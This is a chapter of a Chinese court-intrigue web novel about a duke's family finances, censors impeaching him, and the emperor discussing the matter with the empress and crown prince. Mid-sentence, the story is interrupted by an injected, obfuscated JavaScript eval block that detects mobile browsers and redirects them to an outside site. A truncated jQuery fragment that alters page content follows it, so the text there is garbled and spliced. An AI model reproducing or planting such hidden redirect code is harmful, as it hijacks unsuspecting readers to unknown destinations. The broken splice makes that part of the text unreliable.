“低贱?”邵渊意味不明地笑了一下,看得邵明霄一头雾水,可重农抑商本来就是封建社会的国策啊!
封建社会中不管是出于政治还是经济方面的考量,抑商是有其必要性的。
但抑商也确实是不会彻底的。
有的朝代国家想要以商业手段经营经济,那就需要经济方面的人才,像是汉武帝和桑弘羊的合作。
还有一些盐铁专营以及代表朝廷垄断对外贸易的商人,他们被打压,但与此同时也是作为权力的附庸而存在。
“他们不能容忍的是不受控制而非商人和商业本身,一旦商人愿意服务于国家财政,愿意去纳税报效国家、承办官营,他们就是能被容忍甚至被鼓励存在的。”
“再说了,你以为那些身居高位又日日着锦衣的人,难道是靠着那点儿俸禄过日子?”
邵明霄摇头,“我以为他们是靠贪污呢!”
他说得理所当然,邵渊被他噎得半晌说不出话来又瞪了他一眼,“贪污个屁贪污!你当皇上真能允许朝廷上出现那等硕鼠吗?”
水至清则无鱼,这个道理他懂,上面的人更懂,所以有时候合理范围内的伸手是被允许的,但到底是上不得台面的事情,都悄悄的。
他们为什么敢大剌剌穿金戴银过富贵日子,是因为这钱来路大体是正的。
“这些人族中要么是有积年的财富,要么是有人经商才能供养一家子过好日子罢了”,邵渊戳了戳邵明霄的脑袋,满脸嫌弃,“小傻子!”
“不过人家更多是只拿钱只分红,不去经营,但你如果愿意,你想去做,爹也不会拦你,顶多就是到时候被弹劾罢了”,说到这里,邵渊的语气中还多了几分幸灾乐祸。
“不过爹也要告诫你一句,跟宫中的关系不能断,只要皇上他们偏着你,便是你真是个纨绔,只要你做事不要太过,又有何惧?”
便是早几年皇上还被掣肘时,皇上一样是这天底下最大的,更别说如今了。
像他们这种情况,自然得事事跟着皇上走,抱好皇上的大腿,日子自然能过得起来!
“家里情况你也清楚,若是不自己想办法,咱家除了宫里的接济之外,日子只能拮据着过”,邵渊倒没觉得不好意思,家里情况就是这样,他只能说没开源成也没能节流,但问题是他和他爹比起来也没败家啊!有啥不好意思的?
邵明霄悄悄翻了个白眼,邵渊哼了一声,别以为他没看到!
“反正只要你大面儿上没问题,这日子怎么过随你!”想了想又补了一句,“但是该读的书还是得读的”,就算什么都不提,单皇上他们也会不高兴啊!
邵明霄摆了摆手,“读,肯定读!”
不过读书得在把家里这些事情理顺了之后再说。
邵明霄算是看明白邵渊和曹夫人了,两人都不是什么太过于精明的人,也不是做生意的料,下面的人若有欺瞒他们也未必能搞明白,所以还是得他站出来!
当然了,邵明霄自认也不是个啥都懂啥都能干的人,所以还是得找人干活啊!
“家里这次清出去了不少人?”邵明霄突然问。
邵渊的脸黑了,昂着脖子半晌不说话,邵明霄还有啥不懂的?
“你让雷叔来查家里的账就已经有了猜测啊!”
查完付家老二的账,邵渊又让雷平帮着理了一下家里的账。说起来其实大体上是没啥问题的,但细看问题也不少。
付管家确实没伸过手,但估计是能力也有限吧,反正底下偷偷摸摸伸手的人不少,这次全被揪出来了,国公府里一拨人全被打了板子送官了,为此,邵渊今日又被弹劾了。
想到这里邵渊就生气,“我干啥了?那些人偷府里的东西,我也只是打了十板子,又罚了钱将人送官,我还不够仁慈的吗?一个个天天吃饱了撑得没事儿干,净知道盯着我!”
他恨恨道:“别以为我不知道,不就是那姓滕的一家人?他们就是记恨我上次去泼他家大门,但他们怎么不想想,是他家妹妹在宫中不做人,我不过轻轻报复了一下他们便受不了了?”
邵明霄抿了抿嘴咽下喉中的笑意,那是轻轻报复吗?如今正值六月,那泔水泼出去便是立马清洗,苍蝇、臭虫也围了一堆了!
据说那几日他们巷子里的人出门都得捂着口鼻,不然根本没法儿经过!
滕家的女眷好像还有回娘家的呢!
要不人家能这么恨?追着打?
邵渊反正觉得自己没做啥,是滕家人小题大做了。
宫中皇上用过膳后想到今日的事情觉得心里堵得慌,半晌后还是决定去皇后宫里一趟。
刚到宫门口,他也没让人通报,自己往里走,还没进门就听见里面皇后的笑声,一时间也觉得诧异,皇后怎么这般高兴?
见着皇上过来,皇后赶紧带着太子和三皇子给他请安,皇上扶了皇后一下,笑着问:“许久没有听见皇后笑得这般畅快了,这是有什么好事儿吗?”
皇后笑道:“臣妾只养过太子这一个孩儿,他又从小就老成,但如今皇上让臣妾抚养明成这孩子,倒是给臣妾殿里添了不少欢声笑语呢!”
皇上的目光落在刘明成身上一瞬后便收了回来,只是嗯了一声也没继续问,太子见状摸了摸刘明成的后颈以作安抚。
“皇上怎么突然过来了,臣妾瞧着您心情似乎也不大畅快呢!”
说到这个皇上就愈发不高兴了,他冷笑一声道:“阿渊不过是惩处了家中的背主刁奴,那些人竟然上折子参他,今日早朝朕倒是什么都不用做了,就听那些言官参阿渊便是了!”
皇后知道他不高兴的地方肯定不止这一处,让人将皇上爱喝的茶递给他后笑道:“兴国公虽然性子惫懒,但他与夫人都不是那等随意欺辱旁人的人,想来定是有别的缘故。那些言官们虽能风闻奏事,但凡事也不是谁动动嘴皮子便是谁有道理的,皇上不如让兴国公上个折子自辩?”
皇上没好气地看了皇后一眼,不等他说话,太子便在一旁笑道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014955|193915||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“母后这话倒是跟父皇想到一处去了,父皇今日可不止让兴国公上折子,还将那群言官责骂了一番呢!”
皇上又瞪太子,“朕还没跟你母后说呢,你倒急着插起了嘴!”
太子赶忙告罪,但神情中毫无忐忑,看得皇上无语的同时又觉得贴心。若非自己这个父皇做得好,太子又怎会与自己这般说话?不像皇家君臣,倒像是寻常人家的父子了!
皇上点了点太子又看向皇后,“阿渊也有不对,那日他竟带人上门泼泔水”,说完他自己都忍不住摇头笑了起来,即便早都说过这事儿了,再提起来还是觉得好笑。
皇后跟太子都莞尔,倒是刘明成的眼睛一下就亮了起来,太子心里咯噔一声,这小子怎么感觉不大对啊!
“不过阿渊这是受了委屈发出去罢了,他家做了破事儿,还不允许人家报复了?”
见他才说完又赶紧给自己好友找理由,皇后也觉得好笑,但心里又为妹妹觉得高兴。
皇上这个性子就是这样,他基本不会与人交恶,看起来对谁似乎都是如沐春风,也是因为这,明明进宫前便知道自己进宫目的的贵妃还是一头扎到了皇上身上。
但真正走到他身边去的人也不多,兴国公就是一个。
皇上这人真信了谁或者真感激谁,又是轻易不会变的,哪怕对方做了错事,他也会在心中给对方留余地。
像滕家才走的那位,他便有再多不是,确实是扶持了皇上继位,所以早前皇上也愿意给他留几分面子,有些事拖到他离世才处理也是因为这。
但他记恩也记仇。
皇后暗暗叹了口气,说道:“太后这几日身子不大舒坦,臣妾也叮嘱了太医这几日便在那边伺候着,臣妾也日日都去看看,几个孩子还小,臣妾便没让他们过去,倒是太子日日都去请安,不过太后也没让见,说怕过了病气去。”
皇上听到这后叹了口气,“你让人好好照料着,朕过会儿也去看看。”
太后和滕家人还是不一样的,就算不说别人,只说滕贵妃吧,她进宫便封贵妃,即便不算宠冠六宫,但皇上后宫里人本来也不算多,她绝对算得上拔尖儿的。再加上本来性子就霸道,便是对上皇后了也不觉得自己矮人家一截儿,说话做事业总有不尊重的时候。
但太后不一样,即便滕贵妃是她的侄女儿,她也曾让身边伺候的嬷嬷去申斥过。
平日里更是从没有因为家里的事情求过皇上,后宫前朝的事都不插手,为此滕家人不是没有抱怨,可太后都不管这些。
就看这些,哪怕她姓滕,皇上心里是认这份儿情的。
“瑞亲王世子年纪小,别让他进宫侍疾了,你着人去让瑞亲王妃进宫来侍奉太后”,想了想又道:“算了,朕让人去召瑞亲王世子入宫读书,他与老三一般大,便也暂住慈庆宫里,等日后大些每日进宫也成,再在端敬殿里给他留个居所,留宿在宫中也方便,他给太后请安也方便。”
皇后笑着点头,“还是皇上思量周全。”